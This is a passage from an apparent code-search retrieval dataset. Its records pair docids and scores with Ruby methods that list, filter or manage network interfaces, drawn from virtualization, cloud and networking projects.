"text": "def ignored_interfaces\n /\\A(lo|usb|vnet)/\n end",
"title": ""
},
{
"docid": "b64bfee1a10b5485f18cdfeb468987bc",
"score": "0.6868657",
"text": "def interfaces\n RelayRegister::Parser::IP.extract_interfaces(self.ip_config).tap do |interfaces|\n interfaces.delete('lo')\n end\n end",
"title": ""
},
{
"docid": "c3641b9b6c726e95463f36d8b8947319",
"score": "0.67867845",
"text": "def non_primary_interfaces\n new_interfaces = []\n \n for interface in interfaces\n if self.primary_interface != interface\n new_interfaces << interface \n end\n end\n new_interfaces\n end",
"title": ""
},
{
"docid": "0cc0c929bad11d7cc29b6f8da3f0b840",
"score": "0.6480403",
"text": "def unfiltered_interfaces(type_defn)\n @unfiltered_interfaces ||= read_through(&:interfaces)\n @unfiltered_interfaces[type_defn]\n end",
"title": ""
},
{
"docid": "2f9508ae35b04f04ee27899d04e5bdcd",
"score": "0.6453309",
"text": "def unfiltered_interfaces(type_defn); end",
"title": ""
},
{
"docid": "aa12ed597cdeac6f51ba22a84c19170f",
"score": "0.6345731",
"text": "def list_interfaces\n connection.list_interfaces\n end",
"title": ""
},
{
"docid": "d762cddb3e1023e4bd90768626af3cd2",
"score": "0.63448673",
"text": "def remove_all_interfaces\n super\n end",
"title": ""
},
{
"docid": "d762cddb3e1023e4bd90768626af3cd2",
"score": "0.63448673",
"text": "def remove_all_interfaces\n super\n end",
"title": ""
},
{
"docid": "011264327eaec2cd6b163e5fa1ba5750",
"score": "0.6321023",
"text": "def interfaces\n options.interfaces || %x(networksetup -listallnetworkservices).lines.drop(1).map(&:strip)\n end",
"title": ""
},
{
"docid": "898b9a323283e57d7f1b9d74a53b4f12",
"score": "0.6287994",
"text": "def host_only_interfaces(env)\n iface_names = self.host_only_interface_names(env)\n env[:machine].provider.driver.read_host_only_interfaces\n .select { |interface| iface_names.include?(interface[:name]) }\n end",
"title": ""
},
{
"docid": "6bc4ccbb62ea5227881bfa4f651754d3",
"score": "0.62635964",
"text": "def clear_registered_interfaces()\n @registered_interfaces = []\n end",
"title": ""
},
{
"docid": "a7d3c3f644e7b405623edc3cbc4260c6",
"score": "0.6247836",
"text": "def read_host_only_interfaces\n end",
"title": ""
},
{
"docid": "21c849c83adff6cb786301dd2e47c06a",
"score": "0.62334096",
"text": "def interfaces\n @interfaces.keys\n end",
"title": ""
},
{
"docid": "21c849c83adff6cb786301dd2e47c06a",
"score": "0.62334096",
"text": "def interfaces\n @interfaces.keys\n end",
"title": ""
},
{
"docid": "2389c7c7187ed98580ab2a51aa5a8daa",
"score": "0.6125929",
"text": "def interfaces\n return @interfaces.values\n end",
"title": ""
},
{
"docid": "a42b68369080d887c88af78696c24f4e",
"score": "0.6117654",
"text": "def interfaces\n @interfaces = load_interfaces if @interfaces.nil?\n return @interfaces;\n end",
"title": ""
},
{
"docid": "77a65b351f7a1205ce0b05c585bd50f2",
"score": "0.6112899",
"text": "def get_ifaces\n LinuxRxTune.nic_irqs.keys\n end",
"title": ""
},
{
"docid": "c848d57c683a3edff38af85fe0e117e0",
"score": "0.610703",
"text": "def vminterfaces\n []\n end",
"title": ""
},
{
"docid": "51fe325a1b39319536c9185647a7046e",
"score": "0.60616404",
"text": "def interfaces\n return @ifaces.keys\n end",
"title": ""
},
{
"docid": "4aa5370add8fdd71e04b19ab8b0ade64",
"score": "0.5996257",
"text": "def interfaces\n interface_lists = configurations.collect {|each| each.interfaces}\n interface_lists.flatten!\n return interface_lists\n end",
"title": ""
},
{
"docid": "5daebc77d5d5a27e88b48cfa12ad0f64",
"score": "0.5978725",
"text": "def get_interfaces_list\n response = get_interfaces_config\n check_response_for_success(response) do |body|\n if body.has_key?('interfaces') && body['interfaces'].is_a?(Hash)\n if_list = []\n body['interfaces'].each do |if_name, interfaces|\n interfaces.each do |interface|\n if_list << interface['tagnode']\n end\n end\n NetconfResponse.new(NetconfResponseStatus::OK, if_list)\n else\n NetconfResponse.new(NetconfResponseStatus::DATA_NOT_FOUND)\n end\n end\n end",
"title": ""
},
{
"docid": "de562a776c595cadaa29f909fde84adc",
"score": "0.5953064",
"text": "def interfaces\n @@api.get(endpoint: \"interfaces\")\n end",
"title": ""
},
{
"docid": "dd3b1bc56c5165ae3edd105fd108da60",
"score": "0.5951532",
"text": "def interfaces\n [\n 'LocalLB.Monitor',\n 'LocalLB.NodeAddressV2',\n 'LocalLB.Pool',\n 'LocalLB.VirtualServer',\n 'Management.DeviceGroup',\n 'System.ConfigSync',\n 'System.Failover',\n 'System.Inet',\n 'Management.KeyCertificate',\n 'LocalLB.ProfileClientSSL'\n ]\n end",
"title": ""
},
{
"docid": "9583d24e269f2f41820429f891fb8483",
"score": "0.593194",
"text": "def interfaces(context = GraphQL::Query::NullContext)\n warden = Warden.from_context(context)\n visible_interfaces = []\n own_interface_type_memberships.each do |type_membership|\n case type_membership\n when Schema::TypeMembership\n if warden.visible_type_membership?(type_membership, context)\n visible_interfaces << type_membership.abstract_type\n end\n when String, Schema::LateBoundType\n # During initialization, `type_memberships` can hold late-bound types\n visible_interfaces << type_membership\n else\n raise \"Invariant: Unexpected type_membership #{type_membership.class}: #{type_membership.inspect}\"\n end\n end\n visible_interfaces.uniq!\n\n visible_interfaces\n end",
"title": ""
},
{
"docid": "43d7d890957a5b1c15aff8d5522e49f7",
"score": "0.59278977",
"text": "def interfaces\n kernel_class.interfaces\n end",
"title": ""
},
{
"docid": "c3334de4aab2b83e9a174b79e7dc948e",
"score": "0.59221613",
"text": "def host_only_interface_names(env)\n env[:machine].provider.driver.read_network_interfaces\n .map { |_, i| i[:hostonly] if i[:type] == :hostonly }.compact\n end",
"title": ""
},
{
"docid": "6c3255889d6632a9bc24be67d44a9a8b",
"score": "0.5900024",
"text": "def interfaces_list\n [\n {\n uri: '/',\n method: 'GET',\n purpose: 'REST API Structure and Capability Discovery'\n },\n {\n uri: '/vnf-provisioning/vnf-instances',\n method: 'POST',\n purpose: 'Provision a VNF'\n },\n {\n uri: '/vnf-provisioning/vnf-instances/:id/destroy',\n method: 'POST',\n purpose: 'Destroy a VNF'\n }\n ]\n end",
"title": ""
},
{
"docid": "ccd95fb3ad17620838c1fac79145d1c9",
"score": "0.58991075",
"text": "def network_interfaces\n @instance.network_interfaces\n end",
"title": ""
},
{
"docid": "908b59e7a6f98e511cd195fac1bd359b",
"score": "0.5865827",
"text": "def non_system_components\n non = []\n self.components.each do |comp|\n non << comp if comp.system_id.nil?\n end\n non\n end",
"title": ""
},
{
"docid": "1cf0824e671f1f8da53ef4d0abe25700",
"score": "0.58643234",
"text": "def list\n not_implemented\n end",
"title": ""
},
{
"docid": "035cf23cd60c38828a560b8659829eb7",
"score": "0.5846726",
"text": "def interfaces() self.configurations.map {|d| d.interfaces }.flatten end",
"title": ""
},
{
"docid": "eee2bc3d86ca128a712536df1e693ef8",
"score": "0.5832849",
"text": "def discardable\n []\n end",
"title": ""
},
{
"docid": "994528f89974fcc78ce9a7b159dc1d08",
"score": "0.5765905",
"text": "def interfaces\n return @interfaces if @interfaces\n @interfaces = StpInterfaces.new(node)\n @interfaces\n end",
"title": ""
},
{
"docid": "d7fde76ad6ced13fc737deee6c87a096",
"score": "0.57618695",
"text": "def read_network_interfaces\n end",
"title": ""
},
{
"docid": "5c2e33561ee0e6b7ca9c609b09ec117b",
"score": "0.57574415",
"text": "def interfaces\n result = []\n data = cmd_exec(\"for fn in /sys/class/net/*; do echo $fn; done\")\n parts = data.split(\"\\n\")\n parts.each do |line|\n line = line.split(\"/\")[-1]\n result.insert(-1,line)\n end\n return result\n end",
"title": ""
},
{
"docid": "0046557d71c9da482c8dc90130d06f3f",
"score": "0.57280177",
"text": "def getNetworks interface\n return []\n end",
"title": ""
},
{
"docid": "3a55643f3cc65bbb324023856a1f6055",
"score": "0.5687582",
"text": "def ip_interfaces\n return @ip_interfaces\n end",
"title": ""
},
{
"docid": "c6cc466421a5f0d1456e02d707fe668a",
"score": "0.5660956",
"text": "def available_pnics\n pnics_in_use = []\n pnics_available = []\n\n # Get pnics in use in standard switches\n @item.config.network.vswitch.each do |vs|\n vs.pnic.each do |pnic|\n next unless pnic.instance_of?(String)\n\n pnic.slice!('key-vim.host.PhysicalNic-')\n pnics_in_use << pnic\n end\n end\n\n # Get pnics in host\n self['config.network'].pnic.each do |pnic|\n next if pnics_in_use\n .include?(pnic.device)\n\n pnics_available << pnic\n .device\n end\n\n pnics_available\n end",
"title": ""
},
{
"docid": "371790270deb5c00c558ab141d03cd78",
"score": "0.5654922",
"text": "def network_interfaces\n [].tap do |network_interfaces|\n xml.xpath('domain/devices/interface[@type=\"network\"]').each do |node|\n network_interfaces << NetworkInterface.new(node, self)\n end\n end\n end",
"title": ""
},
{
"docid": "239075559bcd9a0631a4354b1c3cb3fe",
"score": "0.56546545",
"text": "def non_tamperables\n\t\t[]\n\tend",
"title": ""
},
{
"docid": "4ec1d02802cce41fa28a253926c29c95",
"score": "0.56484365",
"text": "def ignore_associated_types\n base = [Strain,TavernaPlayer::Run,Workflow,Sweep]\n base << Network unless Seek::Config.networks_enabled\n base\n end",
"title": ""
},
{
"docid": "89ae2c1125d44907e5ba723dcce34286",
"score": "0.56346864",
"text": "def get_interfaces\n raise NotImplementedError, \"parsing interfaces is not supported in #{self.class}\"\n end",
"title": ""
},
{
"docid": "eaa7076c1d248a4a58f3f4dc6a5d0c4a",
"score": "0.56329495",
"text": "def notifiers\n DslDescriber.new(read_only_env.evaluate).notifiers\n end",
"title": ""
},
{
"docid": "953954ef85ed5759419a760854ea9fe3",
"score": "0.5631098",
"text": "def GetListOfKnownInterfaces\n interfaces = []\n\n Builtins.foreach(GetAllKnownInterfaces()) do |interface_map|\n interfaces = Builtins.add(\n interfaces,\n Ops.get_string(interface_map, \"id\", \"\")\n )\n end\n\n deep_copy(interfaces)\n end",
"title": ""
},
{
"docid": "d911f26ee3626fa4f3f94e8f612b5ded",
"score": "0.5615214",
"text": "def loaded_interfaces\n @loaded_interfaces ||= {}\n end",
"title": ""
},
{
"docid": "65eac577b413bda461d79bc0fecd9854",
"score": "0.5611478",
"text": "def get_ifaces\n return @m_ifaces\n end",
"title": ""
},
{
"docid": "65eac577b413bda461d79bc0fecd9854",
"score": "0.5611478",
"text": "def get_ifaces\n return @m_ifaces\n end",
"title": ""
},
{
"docid": "65eac577b413bda461d79bc0fecd9854",
"score": "0.5611478",
"text": "def get_ifaces\n return @m_ifaces\n end",
"title": ""
},
{
"docid": "77af5d4aa8e98641e198f8ace223fabb",
"score": "0.5608684",
"text": "def int_list()\n\t@client.core.use(\"sniffer\")\n\tifaces = @client.sniffer.interfaces()\n\n\tprint_line()\n\n\tifaces.each do |i|\n\t\tprint_line(sprintf(\"%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )\",\n\t\t\t\ti['idx'], i['description'],\n\t\t\t\ti['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless'])\n\t\t)\n\tend\n\n\tprint_line()\n\traise Rex::Script::Completed\nend",
"title": ""
},
{
"docid": "43acf2615d9b03d1b240be3ffb3d8f71",
"score": "0.5601435",
"text": "def interfaces(use_cache=nil)\n resolve(use_cache)\n @interface_addresses.keys\n end",
"title": ""
},
{
"docid": "e3a4aa00af8bcade29232dffb08c5fa5",
"score": "0.5595516",
"text": "def disable(filter = nil)\n Interface.filter(filter).select{ |dev| dev.enabled? && dev.name != 'eth0' }.each(&:disable).count\n end",
"title": ""
},
{
"docid": "64a0b8b27e72bae17f8d05794eabe60e",
"score": "0.55954874",
"text": "def vbox_find_hostonlyifs(options=nil)\n ifaces = vbox(\"list\", \"hostonlyifs\").split(\"\\n\\n\").map do |text|\n Hash[text.lines.map { |l| [$1, $2] if /^([^:]+):\\s+(.+)$/ =~ l }]\n end\n\n # Remove hostonlyifs used by the specified vms, if any.\n options ||= {}\n if options[:name]\n return ifaces.select{ |i| i['Name'] == options[:name] }.first\n end\n\n (options[:not_used_by] || []).each do |id|\n vbox(\"showvminfo\", id, \"--machinereadable\").lines.each do |line|\n next unless /hostonlyadapter\\d=\"([^\"]+)\"/ =~ line\n ifaces.delete_if{ |iface| iface['Name'] == $1 }\n end\n end\n\n return ifaces\n end",
"title": ""
},
{
"docid": "31cb0f306b23fd8acbbe50551acb82e7",
"score": "0.55926317",
"text": "def interfaces\n gateway_config = vcloud_attributes[:Configuration]\n return [] unless gateway_config[:GatewayInterfaces]\n gateway_interfaces = gateway_config[:GatewayInterfaces][:GatewayInterface]\n return [] unless gateway_interfaces\n gateway_interfaces.map do |vcloud_gateway_interface_hash|\n EdgeGatewayInterface.new(vcloud_gateway_interface_hash)\n end\n end",
"title": ""
},
{
"docid": "d26298c91e1ffec059b5caad864470ed",
"score": "0.5584941",
"text": "def suppress_notifiables\n @notifiables_suppressed = true\n end",
"title": ""
},
{
"docid": "319255a99f7dedb3778b3b3b6e941a3d",
"score": "0.55555195",
"text": "def missing_required_network_permissions\n Network.active.inject([]) do |m, n|\n missing_required_permissions(n).any? ? m.concat(Array.wrap(n)) : m\n end\n end",
"title": ""
},
{
"docid": "194638c78d2be40281ef00b375049587",
"score": "0.5542808",
"text": "def get_network_interfaces\n # get non virtual interface name looking in /sys/class/net \n cli_output = `ls -l /sys/class/net/ | tail -n +2 | grep '^l' | grep -v virtual | awk '{print $9}' | sort`\n return cli_output.split(\"\\n\")\nend",
"title": ""
},
{
"docid": "073d98c6326ba9aef4e9e503137cbb0a",
"score": "0.554245",
"text": "def inactive\n read_array(:virConnectListDefinedNetworks, :virConnectNumOfDefinedNetworks, :string).collect do |name|\n find_by_name(name)\n end\n end",
"title": ""
},
{
"docid": "cbab4e304a088c456388224bf1ea67cc",
"score": "0.55395484",
"text": "def getServiceInterfaces( )\n\n # parameter TypeCheck\n\n # BIMserver request\n request( { } )\n end",
"title": ""
},
{
"docid": "67bdb86a8417879d8588d90b468b7425",
"score": "0.552912",
"text": "def get_available_pnics\n pnics_in_use = []\n pnics_available = []\n\n # Get pnics in use in standard switches\n @item.config.network.vswitch.each do |vs|\n vs.pnic.each do |pnic|\n pnic.slice!(\"key-vim.host.PhysicalNic-\")\n pnics_in_use << pnic\n end\n end\n\n # Get pnics in host\n self['config.network'].pnic.each do |pnic|\n pnics_available << pnic.device if !pnics_in_use.include?(pnic.device)\n end\n\n return pnics_available\n end",
"title": ""
},
{
"docid": "b1ed21a1a5387d4ed29f6450f01b103c",
"score": "0.55197567",
"text": "def interfaces\n Collection::InterfaceCollection.new(self)\n end",
"title": ""
},
{
"docid": "fde8d19fd6f0ab0dde97a28dedff98f8",
"score": "0.5518012",
"text": "def interfaces; end",
"title": ""
},
{
"docid": "e8488d5b442ebe8c6e837bb4931c7821",
"score": "0.55145276",
"text": "def getIPs interface\n return []\n end",
"title": ""
},
{
"docid": "da1bf20c7e419a8b3ecabd8defd88d7c",
"score": "0.55072397",
"text": "def connected_nics\n nic_names = []\n properties.networkProfile.networkInterfaces.each do |nic|\n nic_names << nic.id.split(%r{/}).last\n end\n nic_names\n end",
"title": ""
},
{
"docid": "8fbc863024c63377fb2d4c7b1a92e5bf",
"score": "0.5486509",
"text": "def ignored_types\n []\n end",
"title": ""
},
{
"docid": "e3472cb58b156db5e7365390ff2faac9",
"score": "0.5478845",
"text": "def read_bridged_interfaces\n end",
"title": ""
},
{
"docid": "336dbefa71e565199a6a6dd60ccdd526",
"score": "0.54712653",
"text": "def exclude_commands\n @exclude_commands ||= []\n end",
"title": ""
},
{
"docid": "0daafbfe35ebdbb63971ba0cf173bd30",
"score": "0.54608274",
"text": "def clean_interfaces(filter = nil, options = {})\n public_ips = []\n do_release = !!options[:release]\n safe_mode = options[:safe_mode] != false\n\n filters = [\n { name: 'vpc-id', values: [environment[:vpc_id]] },\n { name: 'status', values: ['available'] }\n ]\n if filter\n case filter\n when /^eni-/\n filters << { name: 'network-interface-id', values: [filter] }\n when /^subnet-/\n filters << { name: 'subnet-id', values: [filter] }\n when /^#{environment[:region]}[a-z]$/\n filters << { name: 'availability-zone', values: [filter] }\n else\n raise Errors::InvalidInput, \"Unknown interface attribute: #{filter}\"\n end\n end\n if safe_mode\n filters << { name: 'tag:created by', values: [owner_tag] }\n end\n\n descriptions = Client.describe_network_interfaces(filters: filters)\n interfaces = descriptions[:network_interfaces].select do |interface|\n created_recently = interface.tag_set.any? do |tag|\n begin\n tag.key == 'created on' && Time.now - Time.parse(tag.value) < 60\n rescue ArgumentError\n end\n end\n unless safe_mode && created_recently\n interface[:private_ip_addresses].each do |addr|\n if assoc = addr[:association]\n public_ips << {\n public_ip: assoc[:public_ip],\n allocation_id: assoc[:allocation_id]\n }\n dissociate_elastic_ip(assoc[:allocation_id], release: true) if do_release\n end\n end\n Client.delete_network_interface(network_interface_id: interface[:network_interface_id])\n true\n end\n end\n {\n interfaces: interfaces.map { |eni| eni[:network_interface_id] },\n public_ips: public_ips,\n released: do_release,\n api_response: interfaces\n }\n end",
"title": ""
},
{
"docid": "338ba8781be526fade6034cf78287fa9",
"score": "0.5460506",
"text": "def not_implemented!(*k)\r\n args = k.shift if String === k.first\r\n (@interface_methods ||= Set.new).merge k\r\n module_eval( k.map { |sym| \"def #{sym}(#{args || '*args'}) not_implemented end\" }.join(\"\\n\\n\\t\"))\r\n @interface_methods\r\n end",
"title": ""
},
{
"docid": "3082c332917749121cfc118818a9536e",
"score": "0.5451038",
"text": "def interfaces\n o = {}\n if name.eql? 'network-server'\n # use the first one of these -> it should be the system deployment\n raw = Crowbar::Attrib.get 'network_interface_maps', Deployment.system\n raw.each { |im| o[im[\"pattern\"]] = im[\"bus_order\"] }\n else\n raise \"this model only applies to the network-server named role\"\n end\n o\n end",
"title": ""
},
{
"docid": "c2c62c5fbc8f70798cbf367a83a09a07",
"score": "0.5446927",
"text": "def pick_interfaces(incl, excl)\n @picked_interfaces = []\n if incl.size > 0\n @all_interfaces.each do |intf|\n incl.each do |inc_interface|\n if intf.match(/#{inc_interface}/)\n @picked_interfaces << intf\n end\n end\n end\n else\n @picked_interfaces = [] + @all_interfaces\n end\n\n # Excludes the interfaces passed in command line arguments.\n if excl.size > 0\n p_int = [] + @picked_interfaces\n p_int.each do |pint|\n excl.each do |exc_interface|\n if pint.match(/#{exc_interface}/)\n @picked_interfaces.delete(pint)\n end\n end\n end\n end\n puts \"\\nSelected interfaces to monitor: #{@picked_interfaces.inspect}\" if @debug\n end",
"title": ""
},
{
"docid": "091776f12b366a8d12ab69e28a9942a4",
"score": "0.54430497",
"text": "def unmanaged_networks\n @unmanaged_networks\n end",
"title": ""
},
{
"docid": "595ddae2bddff160faae4fb09310b1c8",
"score": "0.54360104",
"text": "def registered_interfaces\n @registered_interfaces ||= []\n # put the default rest_interface first\n if @registered_interfaces.empty?\n if rest_interface_name\n @registered_interfaces.unshift(rest_interface_name)\n end\n if rest_has_type\n @registered_interfaces.unshift(rest_type_interface_name)\n end\n end\n @registered_interfaces\n end",
"title": ""
},
{
"docid": "d2d76e5413ce29fb55ba5ea19bdfc274",
"score": "0.54116946",
"text": "def network_interfaces\n INSTANCE::NetworkInterfaces.new(self)\n end",
"title": ""
},
{
"docid": "c1cc77b075fd536bca29a552fde82c2b",
"score": "0.5396057",
"text": "def GetSpecialInterfacesInZone(zone)\n interfaces_in_zone = Builtins.splitstring(\n Ops.get_string(@SETTINGS, Ops.add(\"FW_DEV_\", zone), \"\"),\n \" \"\n )\n\n known_interfaces_now = GetInterfacesInZone(zone)\n\n # filtering known interfaces and spaces\n interfaces_in_zone = Builtins.filter(interfaces_in_zone) do |interface|\n interface != \"\" && !Builtins.contains(known_interfaces_now, interface)\n end\n\n deep_copy(interfaces_in_zone)\n end",
"title": ""
},
{
"docid": "2a8b50b93181b2ede807e2ceba9cf44d",
"score": "0.5387579",
"text": "def os_net_devices\n raise NotImplemented\n end",
"title": ""
},
{
"docid": "2a8b50b93181b2ede807e2ceba9cf44d",
"score": "0.5387579",
"text": "def os_net_devices\n raise NotImplemented\n end",
"title": ""
},
{
"docid": "983f50a8795b80116c7e8ecde9b365f0",
"score": "0.5387252",
"text": "def isHideUserListForNonAdmin( )\n\n # parameter TypeCheck\n\n # BIMserver request\n request( { } )\n end",
"title": ""
},
{
"docid": "cf2203630b18804c70680bf0e83e0a73",
"score": "0.5385796",
"text": "def hide\n super\n\n @members.each { |member| Vedeu::Interface.hide_interface(member) }\n\n self\n end",
"title": ""
},
{
"docid": "917976276d22483271061acf8994a5b3",
"score": "0.5385429",
"text": "def excluded_classes\n []\n end",
"title": ""
},
{
"docid": "6d0d7dfca896d79abc0abdcd625e17b1",
"score": "0.53785723",
"text": "def remove_interface(opts)\n opts = check_params(opts,[:interfaces])\n super(opts)\n end",
"title": ""
},
{
"docid": "6d0d7dfca896d79abc0abdcd625e17b1",
"score": "0.53785723",
"text": "def remove_interface(opts)\n opts = check_params(opts,[:interfaces])\n super(opts)\n end",
"title": ""
},
{
"docid": "27d9eed6cb3e2091284fa842ba5bc574",
"score": "0.53739",
"text": "def interfaces_list\n\t\t[\n\t\t\t{\n\t\t\t\t'uri' => '/',\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'purpose' => 'REST API Structure and Capability Discovery'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'uri' => '/vnfs',\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'purpose' => 'List all VNFs'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'uri' => '/vnfs/{external_vnf_id}',\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'purpose' => 'List a specific VNF'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'uri' => '/vnfs',\n\t\t\t\t'method' => 'POST',\n\t\t\t\t'purpose' => 'Store a new VNF'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'uri' => '/vnfs/{external_vnf_id}',\n\t\t\t\t'method' => 'PUT',\n\t\t\t\t'purpose' => 'Update a stored VNF'\n\t\t\t},\n\t\t\t{\n\t\t\t\t'uri' => '/vnfs/{external_vnf_id}',\n\t\t\t\t'method' => 'DELETE',\n\t\t\t\t'purpose' => 'Delete a specific VNF'\n\t\t\t},\n \t{\n \t\t'uri' => '/vnf-instances',\n \t\t'method' => 'POST',\n \t\t'purpose' => 'Request the instantiation of a VNF'\n \t},\n \t{\n \t\t'uri' => '/configs',\n \t\t'method' => 'GET',\n \t\t'purpose' => 'List all services configurations'\n \t},\n \t{\n \t\t'uri' => '/configs/{config_id}',\n \t\t'method' => 'GET',\n \t\t'purpose' => 'List a specific service configuration'\n \t},\n \t{\n \t\t'uri' => '/configs/{config_id}',\n \t\t'method' => 'PUT',\n \t\t'purpose' => 'Update a service configuration'\n \t},\n \t{\n \t\t'uri' => '/configs/{config_id}',\n \t\t'method' => 'PUT',\n \t\t'purpose' => 'Update a service configuration'\n \t},\n \t{\n \t\t'uri' => '/configs/{config_id}',\n \t\t'method' => 'DELETE',\n \t\t'purpose' => 'Delete a service configuration'\n \t}\n\t\t]\n\tend",
"title": ""
},
{
"docid": "17a82d117a8eea1a167cfbd69916adc8",
"score": "0.5373391",
"text": "def has_nics?\n properties.networkProfile.networkInterfaces.count != 0\n end",
"title": ""
},
{
"docid": "9fd101c3af11f5f7d6086d70ef0d7910",
"score": "0.5371734",
"text": "def GetAllDialUpInterfaces\n dial_up_interfaces = []\n Builtins.foreach(GetAllKnownInterfaces()) do |interface|\n if Ops.get(interface, \"type\") == \"dial_up\"\n dial_up_interfaces = Builtins.add(\n dial_up_interfaces,\n Ops.get(interface, \"id\", \"\")\n )\n end\n end\n\n deep_copy(dial_up_interfaces)\n end",
"title": ""
},
{
"docid": "8e68179b5bc4e5bc80396e05f545098e",
"score": "0.5371541",
"text": "def exclude_from_registry; end",
"title": ""
},
{
"docid": "b9b9d7207cc228e3192f3868e2a7a7a4",
"score": "0.536474",
"text": "def enabled_cards\n nic_info.cards.reject(&:disabled)\n end",
"title": ""
},
{
"docid": "0258542d9d0d09516b8feaf05a346af1",
"score": "0.53559303",
"text": "def knows_not_rust\n []\n end",
"title": ""
},
{
"docid": "69c27e6f0a79b5736b2cb8752d46fc65",
"score": "0.53479904",
"text": "def ignore\n @ignore ||= (HoptoadNotifier::IGNORE_DEFAULT.dup)\n @ignore.flatten!\n @ignore\n end",
"title": ""
},
{
"docid": "a8f4e22962136b8bab810e70ef5d474f",
"score": "0.53404677",
"text": "def associated_interfaces\n associated_interfaces = Array.new\n self.interfaces.each do |i|\n associated_interfaces.push(i.interface_name)\n end\n associated_interfaces.join(\"<br>\")\n end",
"title": ""
},
{
"docid": "bc8f5ba9a8677d81a5bc0d890f8ba3ca",
"score": "0.5337125",
"text": "def get_interfaces\n\t\trequest = Packet.create_request('stdapi_net_config_get_interfaces')\n\t\tifaces = []\n\n\t\tresponse = client.send_request(request)\n\n\t\tresponse.each(TLV_TYPE_NETWORK_INTERFACE) { |iface|\n\t\t\taddrs = []\n\t\t\tnetmasks = []\n\t\t\tscopes = []\n\t\t\twhile (a = iface.get_tlv_value(TLV_TYPE_IP, addrs.length))\n\t\t\t\t# Netmasks aren't tightly associated with addresses, they're\n\t\t\t\t# just thrown all together in the interface TLV ordered to\n\t\t\t\t# match up. This could be done better by creating another\n\t\t\t\t# GroupTlv type for addresses containing an address, a netmask,\n\t\t\t\t# and possibly a scope.\n\t\t\t\tn = iface.get_tlv_value(TLV_TYPE_NETMASK, addrs.length)\n\t\t\t\tif (n.nil?)\n\t\t\t\t\t# Some systems can't report a netmask, only a network\n\t\t\t\t\t# prefix, so figure out the netmask from that.\n\t\t\t\t\tn = iface.get_tlv_value(TLV_TYPE_IP_PREFIX, addrs.length)\n\t\t\t\t\tif n\n\t\t\t\t\t\tn = Rex::Socket.bit2netmask(n, !!(a.length == 16))\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tn = Rex::Socket.addr_ntoa(n)\n\t\t\t\tend\n\t\t\t\ts = iface.get_tlv_value(TLV_TYPE_IP6_SCOPE, addrs.length)\n\t\t\t\tscopes[addrs.length] = s if s\n\t\t\t\tnetmasks[addrs.length] = n if n\n\t\t\t\taddrs << Rex::Socket.addr_ntoa(a)\n\t\t\tend\n\t\t\tifaces << Interface.new(\n\t\t\t\t\t:index => iface.get_tlv_value(TLV_TYPE_INTERFACE_INDEX),\n\t\t\t\t\t:mac_addr => iface.get_tlv_value(TLV_TYPE_MAC_ADDRESS),\n\t\t\t\t\t:mac_name => iface.get_tlv_value(TLV_TYPE_MAC_NAME),\n\t\t\t\t\t:mtu => iface.get_tlv_value(TLV_TYPE_INTERFACE_MTU),\n\t\t\t\t\t:flags => iface.get_tlv_value(TLV_TYPE_INTERFACE_FLAGS),\n\t\t\t\t\t:addrs => addrs,\n\t\t\t\t\t:netmasks => netmasks,\n\t\t\t\t\t:scopes => scopes\n\t\t\t\t)\n\t\t}\n\n\t\treturn ifaces\n\tend",
"title": ""
},
{
"docid": "d46d9ab720636d6e830f58592a8d2d51",
"score": "0.53327256",
"text": "def ignore\n @ignore ||= []\n end",
"title": ""
},
{
"docid": "bc73154519fa1cdc8c24c06d0f0187b7",
"score": "0.53255093",
"text": "def detach_all_nics\n spec_hash = {}\n device_change = []\n\n @item[\"config.hardware.device\"].each do |device|\n if is_nic?(device)\n device_change << {:operation => :remove, :device => device}\n end\n end\n\n # Remove NIC from VM in the ReconfigVM_Task\n spec_hash[:deviceChange] = device_change\n\n begin\n @item.ReconfigVM_Task(:spec => spec_hash).wait_for_completion\n rescue Exception => e\n raise \"Cannot detach all NICs from VM: #{e.message}\\n#{e.backtrace}\"\n end\n end",
"title": ""
},
{
"docid": "2969f38bdaddd11a9b987f76984ad64b",
"score": "0.5324238",
"text": "def exclude_from_display\n [::Ability.public_group_name, ::Ability.registered_group_name, ::Ability.admin_group_name, @depositor]\n end",
"title": ""
},
{
"docid": "1eadab9c1260fe0d7734e1e85c75ba09",
"score": "0.5321371",
"text": "def IsAnyNetworkInterfaceSupported\n # Currently unasigned interfaces belong to the EXT zone by dafault\n true\n end",
"title": ""
},
{
"docid": "862785ec03da91e2cf17a610fce57118",
"score": "0.53184927",
"text": "def exclude\n @exclude || []\n end",
"title": ""
},
{
"docid": "d24fea6642c48c39a521734c74315950",
"score": "0.5306442",
"text": "def interfaces_list\n [\n {\n 'uri' => '/catalogues',\n 'method' => 'GET',\n 'purpose' => 'REST API Structure and Capability Discovery'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'GET',\n 'purpose' => 'List all NSs or specific NS',\n 'special' => 'Use version=last to retrieve NSs last version'\n },\n {\n 'uri' => '/catalogues/network-services/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific NS by its uuid'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'POST',\n 'purpose' => 'Store a new NS'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored NS specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/network-services/{id}',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored NS by its uuid',\n 'special' => 'Use status=[inactive, active, delete] to update NSD status'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific NS specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/network-services/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific NS by its uuid'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'GET',\n 'purpose' => 'List all VNFs or specific VNF',\n 'special' => 'Use version=last to retrieve VNFs last version'\n },\n {\n 'uri' => '/catalogues/vnfs/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific VNF by its uuid'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'POST',\n 'purpose' => 'Store a new VNF'\n },\n {\n 'uri' 